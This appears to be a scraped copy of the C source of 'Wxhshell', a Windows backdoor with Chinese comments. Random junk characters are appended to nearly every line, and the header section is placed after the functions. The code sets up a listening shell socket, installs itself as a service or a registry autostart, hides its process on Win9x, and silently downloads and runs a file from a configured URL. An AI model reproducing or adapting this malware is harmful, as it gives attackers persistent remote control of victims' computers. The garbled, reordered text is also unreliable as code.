ULONG UniqueProcessId; 3-T"[tCe
ULONG InheritedFromUniqueProcessId; k++"
} PROCESS_BASIC_INFORMATION; Yma-$ytp
f{w[H S,z
PROCNTQSIP NtQueryInformationProcess; KLpFW}
-\[&<o@/D
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9zD,z+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,7n8_pU
6sQY)F7p
HANDLE hProcess; (Rs|"];?Z
PROCESS_BASIC_INFORMATION pbi; vPSY1NC5
WX&0;Kr
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ru~;awV?
if(NULL == hInst ) return 0;
'h#>@v> }
cR6Rb[9 N
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qir8RPW
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VfT@;B6ALF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1uJpn
p_EWpSOt7
if (!NtQueryInformationProcess) return 0; 8=,?Bh".
Ro.br:'Bw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U}<' [o
V
if(!hProcess) return 0; 5,#aN}v#?
9zNMv-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z&6*8#wn
8FJPw"9
CloseHandle(hProcess); vVFT0_
1#lH5|XQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "3$P<Q\;l;
if(hProcess==NULL) return 0; q!as~{!
C,) e7
HMODULE hMod; e8U6D+jY
char procName[255]; zxrbEE Q
unsigned long cbNeeded; T( CTU/a-,
Z^t{m!v
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >f:OU,"
r:Ok z
CloseHandle(hProcess); 5gZ*
| E\ u
if(strstr(procName,"services")) return 1; // 以服务启动 vxk~(3]<)
C[[:/X(c
return 0; // 注册表启动 3a?dNwM@
} .|/VD'xV"
[u;>b?[{
// 主模块 o(@^V!}V
int StartWxhshell(LPSTR lpCmdLine) V?r(; x
{ {S"! c.
SOCKET wsl;
|!xqkmX
BOOL val=TRUE; OP98 sd&T
int port=0; UW],9r/PD@
struct sockaddr_in door; 4v#A#5+O E
=PmIrvr'[5
if(wscfg.ws_autoins) Install(); Tilw.z
yhxZ^(I
port=atoi(lpCmdLine); [-hsG E
h9cx~/7,_)
if(port<=0) port=wscfg.ws_port; ^o[(F<q
I6Oc`S!L
WSADATA data; 0F%V+Y\R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !4}Wp.
HEs .pET\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 13MB1n
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _{mG\*q
door.sin_family = AF_INET; d$PQb9Q+f
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Df}3^J~JX
door.sin_port = htons(port); [w}KjV/yi
s>a(#6Q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t}2M8ue(&
closesocket(wsl); r~; TId} #
return 1; DC,]FmWs!+
} uE&2M>2
Ta)6ly7'
if(listen(wsl,2) == INVALID_SOCKET) { PHg(O:3WG
closesocket(wsl); o(Q='kK
return 1; */ok]kX'
} 43/!pW
Wxhshell(wsl); BF(Kaf;<t.
WSACleanup(); 0Rz",Mu>
1V;m8)RF
return 0; Rqun}v}
#QKgY7
} FfibR\dhY
I#:,!vjn
// 以NT服务方式启动 &h?8yV4B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dlx-mm_
{ ^e:rRk7 &
DWORD status = 0; ntD8:%m
DWORD specificError = 0xfffffff; K~jN"ev
E)%r}4u>
serviceStatus.dwServiceType = SERVICE_WIN32; )B5(V5-!|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; e%v0EJ},
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FS6I?q#tQ
serviceStatus.dwWin32ExitCode = 0; |&\cr\T\r
serviceStatus.dwServiceSpecificExitCode = 0; l1D"*J 2`
serviceStatus.dwCheckPoint = 0; =>Dw,+"
serviceStatus.dwWaitHint = 0; h 7*#;j
F1b~S;lm
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S3Sn_zqG
if (hServiceStatusHandle==0) return; @EGUQ|WL^
I#GsEhi
status = GetLastError(); IjrjLp[z$
if (status!=NO_ERROR) (0QYX[(r~o
{ RiCzH
serviceStatus.dwCurrentState = SERVICE_STOPPED; Jk=d5B
serviceStatus.dwCheckPoint = 0; tzSg`7H!
serviceStatus.dwWaitHint = 0; Tsl0$(2W
serviceStatus.dwWin32ExitCode = status; OojQG
serviceStatus.dwServiceSpecificExitCode = specificError; gTqtTd~L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bPo*L~xdk
return; .="[In'
} ~0ZLaiJ
=]hPX
serviceStatus.dwCurrentState = SERVICE_RUNNING; rQ$Jk[Y
serviceStatus.dwCheckPoint = 0; y3)R:h4AH
serviceStatus.dwWaitHint = 0; * 57y.](w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N!#TK9
} bhc
.UmH
<P)0Y u
// 处理NT服务事件,比如:启动、停止 62z"cFN
VOID WINAPI NTServiceHandler(DWORD fdwControl) OA\
*)c+F
{ 'UL"yM
switch(fdwControl) oB]
{ *kWrF* )J
case SERVICE_CONTROL_STOP: aBx8wl*Vm
serviceStatus.dwWin32ExitCode = 0; (vqI@fB';u
serviceStatus.dwCurrentState = SERVICE_STOPPED; _b1w<T
`
serviceStatus.dwCheckPoint = 0; %$.]g
serviceStatus.dwWaitHint = 0; =a3qpPkx
{ _'47yq^O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I%fz^:[#<
} -jOCzp
return; 2V 9vS
case SERVICE_CONTROL_PAUSE: 3gzcpFNqX
serviceStatus.dwCurrentState = SERVICE_PAUSED; WQT;k0;T]
break; CUo %i/R
case SERVICE_CONTROL_CONTINUE: 8C!D=Vhh
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;wkoQ8FD9
break;
S9Ka
case SERVICE_CONTROL_INTERROGATE: drZ1D s
break; 47 _";g@X
}; j,c8_;X!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (o5+9'y"9
} b#<@&0KE
<BNCo5*
// 标准应用程序主函数 Ie%twc
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C3
m#v[+
{ fm%1vM$[J
.g6DKjy>
// 获取操作系统版本 iqj
ZC80
OsIsNt=GetOsVer(); _4VS.~}/R
GetModuleFileName(NULL,ExeFile,MAX_PATH); -}O>m}l
? <.U,
// 从命令行安装 -UM5&R+o
if(strpbrk(lpCmdLine,"iI")) Install(); ~!w()v n
r ]cC4%in
// 下载执行文件 ?/,sKF74i
if(wscfg.ws_downexe) { faVR %
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >
CPJp!u
WinExec(wscfg.ws_filenam,SW_HIDE); = yH#Iil
} kM`!'0kt
DNy1} 3wg
if(!OsIsNt) { !PfI e94{`
// 如果时win9x,隐藏进程并且设置为注册表启动 I=,u7w`m
HideProc(); &@dWd
StartWxhshell(lpCmdLine); J6H3X;vxQw
} H...!c1M@
else [We(0wF[`
if(StartFromService()) 2_ x~y|<9
// 以服务方式启动 3??*G8Yp
StartServiceCtrlDispatcher(DispatchTable); N2"4dVV;
else cXO_g!&2A
// 普通方式启动 &&w7-
StartWxhshell(lpCmdLine); Xj\SJ*
'ErtiD
return 0; jF'azlT
} ZcXqH7`r
'CDRb3w}B
mySm:ToT
T#1>pED
=========================================== VK+#!!Ha
`nO!_3
$+Hv5]/hb
W`C&$v#
_ "ysJ&
A#mf*]'
" x@I@7Pvo3
)>)_>[
#include <stdio.h> ^Slwg|t*~P
#include <string.h> 'iN8JO>
#include <windows.h> 7oPBe1P,K+
#include <winsock2.h> `@{qnCNQ
#include <winsvc.h> &Jj^)GBU
#include <urlmon.h> 3<x_[0v`K1
%}G:R!4 d
#pragma comment (lib, "Ws2_32.lib") $S$%avRX
#pragma comment (lib, "urlmon.lib") _Gy*" ;E
'3wte9E/
#define MAX_USER 100 // 最大客户端连接数 ,\5]n&T;r
#define BUF_SOCK 200 // sock buffer [IxZweK
#define KEY_BUFF 255 // 输入 buffer O{rgZ/4Au
/^v4[]
#define REBOOT 0 // 重启 J#CF S G
#define SHUTDOWN 1 // 关机 ru)%0Cyx
MB\vgKY
#define DEF_PORT 5000 // 监听端口 uH]n/Kv1,
;w?zmj<Dm
#define REG_LEN 16 // 注册表键长度 ~K^Z4
#define SVC_LEN 80 // NT服务名长度 6^['g-\2
SSi}1
// 从dll定义API MC3XGnT#5
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cGC&O%`i,\
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #hzs,tvvD
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E/_=0t
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bdqo2ZO
<